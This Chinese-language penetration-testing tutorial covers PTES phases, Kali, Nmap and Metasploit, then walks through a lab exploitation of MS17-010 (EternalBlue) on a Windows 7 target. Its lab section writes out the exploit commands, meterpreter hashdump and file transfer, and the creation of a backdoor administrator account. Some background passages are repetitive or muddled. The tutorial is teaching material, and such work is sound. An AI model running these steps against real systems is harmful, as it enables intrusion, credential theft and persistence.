渗透基础+永恒之蓝演练
第一节 渗透测试-概述
1.1 渗透测试定义
渗透测试是对用户信息安全措施积极评估的过程。通过系统化的操作和分析,积极发现系统和网络中存在的各种缺陷和弱点,如涉及缺陷和技术缺陷。渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法,这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析。渗透测试的意义:站在第三者的角度来思考企业系统的安全性。渗透测试通常具有两个显著特点:
-
渗透测试是一个渐进的且逐步深入的过程
-
渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试
1.2 渗透测试分类
1.2.1 渗透测试方法分类
1.2.1.1 黑盒测试
黑盒测试:也可叫功能测试,是一种从用户角度出发的测试。把被测程序当作一个黑盒子,测试人员完全不用考虑盒子里面的逻辑结构和具体运作,只依据程序的需求规格说明书,检查程序的功能是否符合它的功能说明。主要的测试方法有等价划分类,错误推测法等。通过软件的外部表现来发现其缺陷和错误。黑盒测试发把黑盒测试看成一个黑盒子,完全不考虑程序内部结构和处理过程。黑盒测试是在程序界面进行测试,它只是检查样序是否按照需求规格说明书的规定正常实现。
1.2.1.2 白盒测试
白盒测试也称为结构测试。它根据程序的控制结构设计测试用例,测试人员会利用程序内部的逻辑结构及有关信息,通过在不同点检查程序状态,检验程序中的每条通路是否都能按预定要求进行正确工作。通过对程序内部结构的分析、检测来寻找问题。白盒测试可以把程序看成装在一个透明的白盒子里,也就是清楚了解程序结构和处理过程,检查是否所有的结构及路径都是正确的,检查软件内部动作是否按照设计说明的规定正常进行。
1.2.1.3 灰盒测试
灰盒测试:是介于白盒测试与黑盒测试之间的一种测试,灰盒测试多用于集成测试阶段,不仅关注输出、输入的正确性,同时也关注程序内部的情况。灰盒测试不像白盒那样详细、完整,但又比黑盒测试更关注程序的内部逻辑。介于白盒测试与黑盒测试之间的测试。灰盒测试关注输出对于输入的准确性,同时也关注内部表现,但这种关注不想白盒测试那样详细、完整,只是通过一些表征性的现象、事件、标志来判断内部的运行状态。灰盒测试结合了白盒测试和黑盒测试的要素。它考虑了用户端、特定的系统知识和操作环境。它在系统组件的协同性环境中评价应用软件的设计。
1.2.1.4 三者的区别
从测试目标和依据来说:黑盒面对的是产品设计,白盒针对的是程序功能的实现,灰盒针对兼而有之,既要考虑产品设计要求,又考虑到功能实现的效果从实现者而言:黑盒在意的是客户的角度,白盒测试针对的研发人员。从测试模块颗粒度而言:白盒在意的是代码实现层面,而灰盒更加侧重模块之间,而黑盒更在于用户层面。
1.2.2 渗透目标分类
-
主机操作系统测试:对Windows,Solaris,AIX,Linux,SCO,SGI等操作系统本身进行渗透测试。
-
数据库系统渗透:对MS-SQL,Oracle,MySQL,informix,Sybase,DB2,access等数据库应用系统进行渗透测试。
-
应用系统测试:对渗透目标提供的各种应用,如ASP,CGI,JSP,PHP等组成的WWW应用进行渗透测试。
-
网络设备渗透:各种防火墙,入侵检测系统,路由器,交换机等网络设备进行渗透测试。
1.2.3 渗透测试的位置分类
- 内网渗透:模拟客户内部违规操作者的行为,在内网对目标进行渗透测试
- 外网渗透:模拟对内部状态一无所知的攻击者的行为(包括对网络设备的远程攻击,口令管理安全测试,防火墙规则试探和规避,web及其他开放应用服务的安全测试等),从外网对目标进行渗透测试。
1.3 渗透测试环节
渗透测试环节:PTES
- 前期交互阶段(Pre-Engagement Interaction)
- 范围(需求)
- 目标
- 限制条件
- 服务合同细节
- 情报搜集阶段(Information Gathering)
- 公开来源信息查询
- Hacking
- 社会工程学
- 网络踩点
- 扫描探测
- 被动监听
- 服务查点
- 威胁建模阶段(Threat Modeling)
- 规划攻击
- 资产分析
- 威胁分析
- 漏洞分析阶段(Vulnerability Analysis)
- 渗透攻击阶段(Exploitation)
- 后渗透攻击阶段(Post Exploitation)(清除痕迹)
- 报告阶段(Reporting)
- 分析薄弱环节
- 存在的问题
- 修补与升级技术
第二节 工具介绍
2.1 kali
kali首先是一个操作系统,更确切的说它是一个基于Linux kernel的操作系统,该系统从BackTrack发展而来。而BT是2006年推出的一个用于渗透测试及黑客攻防的专用平台,基于Knoppix(Linux的一个发行版本)开发。Backtrack从2006年的发起版本BackTrack v1.0Beta开始,到2012年推出最终版本BackTrack 5 R3 relerse。之后,2013年offensive Security的Mati Aharoni和Devon Kearns基于Debian重新实现了BackTrack,新的产品命名为kali,从此kali成为新的替代产品和后继者。Kali有以下几个主要特征:
- kali是基于Debian的Linux发行版
- kali预装了大量的安全工具
- kali是永久免费的
- kali支持大量的无线设备
- kali系统自身是安全的
kali是一个面向安全的基于Debian的linux发行版,预装了大量的安全软件。其主要功能有三个:数字取证、安全审计、渗透测试。
- 数字取证
数字取证主要是针对各种电子证据进行识别、收集、保存和分析,用来发现网络和系统的各种入侵行为,为进一步的安全处理提供依据。kali系统提供的数字取证工具很多,可分为数据备份、数据恢复、数据分析和文件取证四种类型,比如:数字备份的Dc3dd,磁盘备份工具Dcfidd,Linux硬盘数据恢复工具dd_rescue,磁盘数据恢复工具Safecopy,文件还原工具Foremost,日志文件系统快查看工具Jact,磁盘镜像分析工具TSK,信息批量提取工具bulk-extrackor,磁盘取证工具Guymager等。
- 安全审计
安全审计是由“专业审计人员根据有关的法律法规、财产所有者的委托和管理当局的授权,对计算机网络环境下的有关活动或行为进行系统的、独立的检查认证,并作出相应评价”。安全审计涉及四个基本要素:控制目标、安全漏洞、控制措施和控制测试。kali系统提供的安全审计工具有:安全审计工具Lynis,无线安全审计工具FruityWifi,Web应用程序安全设计工具箱Watobo等。
- 渗透测试
渗透测试是kali系统最主要的功能,他是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。渗透测试有两个主要的特点:首先,渗透测试是一个渐进的并且逐步深入的过程;其次,渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。渗透测试包括信息收集、漏洞扫描、漏洞利用、密码攻击、权限提升,以及针对特定应用或平台的渗透,如web渗透、无线网络渗透等。kali系统提供的渗透测试工具涵盖以上各个方面,主要有:
- 用于信息搜集的Nmap、Dnsenum,Amap,Webscrab、Recon-NC等;
- 用于漏洞扫描的Nessus、OpenVAS;用于漏洞利用的Metasploit、w3af;
- 用于密码工具的Hydra、Ettercap,Msfconsole,DirBuster、WebSlayer等;
- 用于权限提升的Metperter、SET;
- 用于无线网络渗透的kismet,aircrack-NG,Gerix WIFI Cracker等
官网:
2.2 NMAP
nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网路连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行那个操作系统(这是亦称fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
nmap的基本功能:
- 检测存活在网络上的设备(设备发现)【主机发现Host Discovery】
- 检测开放的端口号(端口发现或枚举)【端口扫描Port Scanning】
- 检测到相应的端口号(服务发现)的软件和版本【版本侦测Version Detection】
- 检测操作系统,硬件地址,以及软件地址【操作系统侦测Operating System Detection】
而这四项功能之间,又存在大致的依赖关系(通常情况下的顺序关系,但特殊应用另外考虑)
- 首先,需要进行主机发现,
- 其次,确定端口状态,
- 再次,确定端口上运行的具体应用程序和版本信息,
- 然后,可以进行操作系统的侦测。
而在这四项功能的基础上,nmap还提供强大的NSE(nmap Scripting Language)脚本引擎功能,脚本可以对基本功能进行补充和扩展。
Nmap的优点:
- 灵活:支持数十种不同的扫描方式,支持多种目标对象的扫描
- 强大:Nmap可以用于扫描互联网上大规模的计算机
- 可移植:支持主流操作系统:Windows/Linux/Unix/MacOS等等;源码开放,方面移植
- 简单:提供默认的操作能覆盖大部分功能,基本端口扫描nmap targetip,全面的扫描nmap -A targetip
- 自由:Nmap作为开源软件,在GPL License的范围内可以自由的使用
- 文档丰富:Nmap官网提供了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书籍
- 社区支持:Nmap背后有强大的社区团队支持
官网
源码
2.3 Metasploit
Metasploit是当前信息安全与渗透测试领域最流行的术语,它完全颠覆了已有的渗透测试方式。几乎所有流行的操作系统都支持Metasploit,而且Metasploit框架在这些系统上的工作流程基本都一样。第三节的示例是以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行的第三方工具。metasploit框架(简称MSF)是一个开源工具,旨在方便渗透测试,它是由Ruby程序语言编写的模板化框架,具有很好的扩展性,便于渗透测试人员开发,使用定制的工具模板。 MSF可向后端模块提供多种用来控制测试的接口,如控制台、web、GUI、CLI等,通过这些接口访问和使用MSF中的所有插件工具,同时MSF控制台还有第三方程序的接口,例如nmap、sqlmap等。MSF可以运行在Linux和windows环境下,我们一般通常都在kali linux操作系统上使用。因为MSF的更新使用kali上的更新命令和更新源即可。
模块介绍
- 渗透攻击模块(exploit):利用发现的安全漏洞或配置弱点对远程目标系统进行工具的代码;
- 辅助模块(Aux):实现信息收集及口令猜测、Dos攻击等无法直接取得服务器权限的攻击。验证漏洞是否存在;
- 攻击载荷模块(payload):攻击载荷是在渗透攻击成功后促使目标系统运行的一段植入代码
- 后期渗透模块(Post):该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。
- 编码工具模块(Encoders):该模块在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检查出来。
功能介绍
- Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此他们有可能会被类似netcat这样非metasploit处理工具所捕捉到。
- Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件活应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
- Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
渗透攻击步骤
使用MSF渗透测试时,可以综合使用以上模块,对目标系统进行侦察兵发动攻击,大致的步骤如下所示:
- 扫描目标机系统,寻找可用漏洞
- 选择并配置一个漏洞利用模块
- 选择并配置一个工具载荷模块
- 选择一个编码技术。用来绕过杀毒软件的查杀
- 渗透攻击
官网
源码
https://github.com/rapid7/metasploit-framework
第三节 入门演练之MS17-010(永恒之蓝)
3.1 永恒之蓝
永恒之蓝原理是一种网络攻击技术,它利用了Windows操作系统中的漏洞,可以远程控制计算机并窃取敏感信息。这种攻击技术被认为是最具破坏性的网络攻击之一,因为它可以在不需要用户交互的情况下传播,而且很难被检测和防御。永恒之蓝原理的攻击方式是利用Windows操作系统中的漏洞,通过网络传播恶意代码。这种攻击方式可以在不需要用户交互的情况下传播,因此很难被检测和防御。一旦攻击成功,攻击者就可以远程控制受害者的计算机,并窃取敏感信息。永恒之蓝原理的攻击方式是非常危险的,因为它可以在不需要用户交互的情况下传播。这意味着即使用户没有打开任何文件或链接,他们的计算机也可能被攻击。此外,永恒之蓝原理的攻击方式很难被检测和防御,因为它利用了Windows操作系统中的漏洞,这些漏洞可能不会被及时修补。为了防止永恒之蓝原理的攻击,用户应该及时更新Windows操作系统和安装杀毒软件。此外,用户还应该避免打开来自不可信来源的文件和链接,以及使用强密码来保护自己的账户和数据。永恒之蓝原理是一种非常危险的网络攻击技术,它可以远程控制计算机并窃取敏感信息。为了保护自己的计算机和数据安全,用户应该及时更新Windows操作系统和安装杀毒软件,避免打开来自不可信来源的文件和链接,以及使用强密码来保护自己的账户和数据。
永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件。恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。本次黑客使用的是Petya勒索病毒的变种Petwarp,攻击时仍然使用了永恒之蓝勒索漏洞,并会获取系统用户名与密码进行内网传播。本次爆发使用了已知OFFICE漏洞、永恒之蓝SMB漏洞、局域网感染等网络自我复制技术,使得病毒可以在短时间内呈爆发态势。同时,该病毒与普通勒索病毒不同,其不会对电脑中的每个文件都进行加密,而是通过加密硬盘驱动器主文件表(MFT),使主引导记录(MBR)不可操作,通过占用物理磁盘上的文件名,大小和位置的信息来限制对完整系统的访问,从而让电脑无法启动,相较普通勒索病毒对系统更具破坏性。
SMB协议
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
3.2 环境准备
靶机:windows 7 -IP:192.168.2.233
攻击机:kali (带有Metasploit和NMAP工具)-IP:192.168.2.214
注意事项:
- 攻击机和靶机需要再同一局域网下
- win7不能带有以下补丁,否则将无法实现模拟攻击
3.3 演练过程
3.3.1 信息收集
- 进入kali,启动控制台,以管理员权限运行
CMD $> sudo su #启用超管身份
CMD $> ******** # kali 密码
CMD #>
- 运行nmap,并扫描网络端口
CMD #> nmap -T4 -A -v 192.168.2.1/24
命令讲解:
-A:用于使用进行性方式扫描
-T4:扫描过程使用时序,总有6个级别(0~5),不建议太高容易被网络设备封杀(建议:3/4)
-v:显示冗余信息,在扫描过程中显示扫描的细节
192.168.2.1/24:扫描192.168.2.X网段内的所有机器
-- 也可以使用 man nmap 查看对用的操作手册
- 可以进行单IP扫描
CMD #>nmap 192.168.2.233
- 关于端口说明可以查看附件1 常见端口
3.3.2 检查永恒之蓝漏洞
- 启动 Metasploit
CMD #>msfconsole
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/msfconsole1.png)
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/msfconsole2.png)
- 查询ms17-010
msf6 #>search ms17-010 #查询ms17-010漏洞
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/msfconsole3_searchms17010.png)
- 检查靶机是否存在ms17-010漏洞
msf6 #>use 3 #使用检测代码
msf6 auxiliary(scanner/smb/smb_ms17_010) #>show options #查看设置项
msf6 auxiliary(scanner/smb/smb_ms17_010) #>set rhost 192.168.2.233 #设置检查的目标ip
msf6 auxiliary(scanner/smb/smb_ms17_010) #>run #查询
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/msfconsole4_searchipdfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
3.3.3 攻击靶机
- 启用攻击代码
msf6 auxiliary(scanner/smb/smb_ms17_010) #>use 0
msf6 exploit(windows/smb/ms17_010_eternalblue) #>show options # 查看设置项
msf6 exploit(windows/smb/ms17_010_eternalblue) #>set rhost 192.168.2.233 #设置攻击IP,如果lhost未设置需要再单独设置一次
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/msfconsole6_exp_show_optionsdfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
- 开始攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) #>run #攻击
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/msfconsole7_exp_rundfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
meterpreter相关操作
meterpreter #> getuid #查看当前运行的权限
meterpreter #>screenshot #截取目标屏幕
meterpreter #>upload 截屏图片地址 C:\\ 把图片上传到目标C盘
meterpreter #>download C:\img.jpg /root/ #从目标机器下载文件
meterpreter #>hashdump #查看用户信息
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/meterpreter1dfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/meterpreter2_screenshotdfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
meterpreter #>shell
meterpreter #>chcp 65001
CMD #>net user #查看当前用户信息
CMD #>net user test 123456 /add #增加test用户(密码123456)
CMD #>net localgroup administrators test /add #设置用户为管理员用户
CMD #>exit
meterpreter #>hashdump
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/meterpreter3_shelldfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/meterpreter4_dumpdfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
CMD #>rdesktop ip #启动远程连接
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/meterpreter5_rdesktopdfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/meterpreter6_rdesktopdfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
![](https://gitee.com/fangyuxiSoft/blog-pic/raw/master/img/meterpreter7_rdesktopdfa233fb-c025-49a2-bf3f-f54b7f0162e9.png)
附件
附件1 常见端口
附件1.1 文件共享服务
端口 | 服务 | 说明 |
---|---|---|
20/21 | FTP/TFTP | 文件传输协议,利用方向:允许匿名上传、下载、暴力破解和嗅探 |
2049 | NFS | 利用方向:配置不当 |
139 | Samba | 利用方向:暴力破解、未授权访问、远程代码执行 |
389 | LDAP目录访问协议 | 利用方向:注入、允许匿名访问、弱口令 |
445 | windows共享 | windows下一个共享文件夹和打印机端口 |
附件1.2 远程连接服务
端口 | 服务 | 说明 |
---|---|---|
22 | SSH | 利用方向:暴力破解、SSH隧道及内网代理转发、文件传输 |
23 | Telnet | 利用方向:暴力破解、嗅探、弱口令 |
3389 | RDP | 远程桌面,利用方向:Shift后门(windows server 2003以下版本) |
5900 | VNC | 利用方向:弱口令 |
附件1.3 WEB应用服务端口
端口 | 服务 | 说明 |
---|---|---|
80/443/8080 | 常见web服务 | 利用方向:web攻击、暴力破解、对应用服务版本攻击 |
7001 | weblogic控制台 | 利用方向:java反序列化、弱口令 |
8080/8089 | jboss/Jenkins | 利用方向:反序列化、控制台弱口令 |
9090 | websphere控制台/prometheus监控 | 利用方向:反序列化、控制台弱口令 |
300 | grafana | 利用方向:反序列化、控制台弱口令 |
普法宣传人人有责。国家法律法规数据库-中华人民共和国网络安全法